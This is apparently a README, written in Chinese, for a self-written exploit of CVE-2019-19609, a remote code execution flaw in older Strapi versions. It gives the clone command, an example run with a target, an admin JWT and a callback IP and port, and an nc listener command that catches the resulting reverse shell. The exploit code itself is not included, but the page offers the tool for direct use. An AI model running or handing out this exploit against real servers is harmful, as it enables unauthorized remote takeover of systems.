CVE-2019-19609 漏洞利用

针对 Strapi 中 CVE-2019-19609 的漏洞利用（strapi-3.0.0-beta.17.7 及更早版本的远程代码执行）。
我曾面对此漏洞的场景，但没有公开的漏洞利用代码。我决定自己编写并在此分享。

安装

git clone https://github.com/diego-tella/CVE-2019-19609-EXPLOIT

使用方法

cd CVE-2019-19609-EXPLOIT
python exploit.py -d DOMAIN_OR_IP -jwt JSON_WEB_TOKEN -l LHOST -p LPORT

python exploit.py -d example.com -jwt eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MywiaXNBZG1pbiI6dHJ1ZSwiaWF0IjoxNjMwMjU3NDc3LCJleHAiOjE2MzI4NDk0Nzd9.JIKHRz_EDXg1fhThRhIbIyZ9w-6mE01dhnno2AtMMU0 -l 10.10.14.86 -p 1221

在另一个终端中，开始监听漏洞利用中指定的端口

nc -vnlp 1221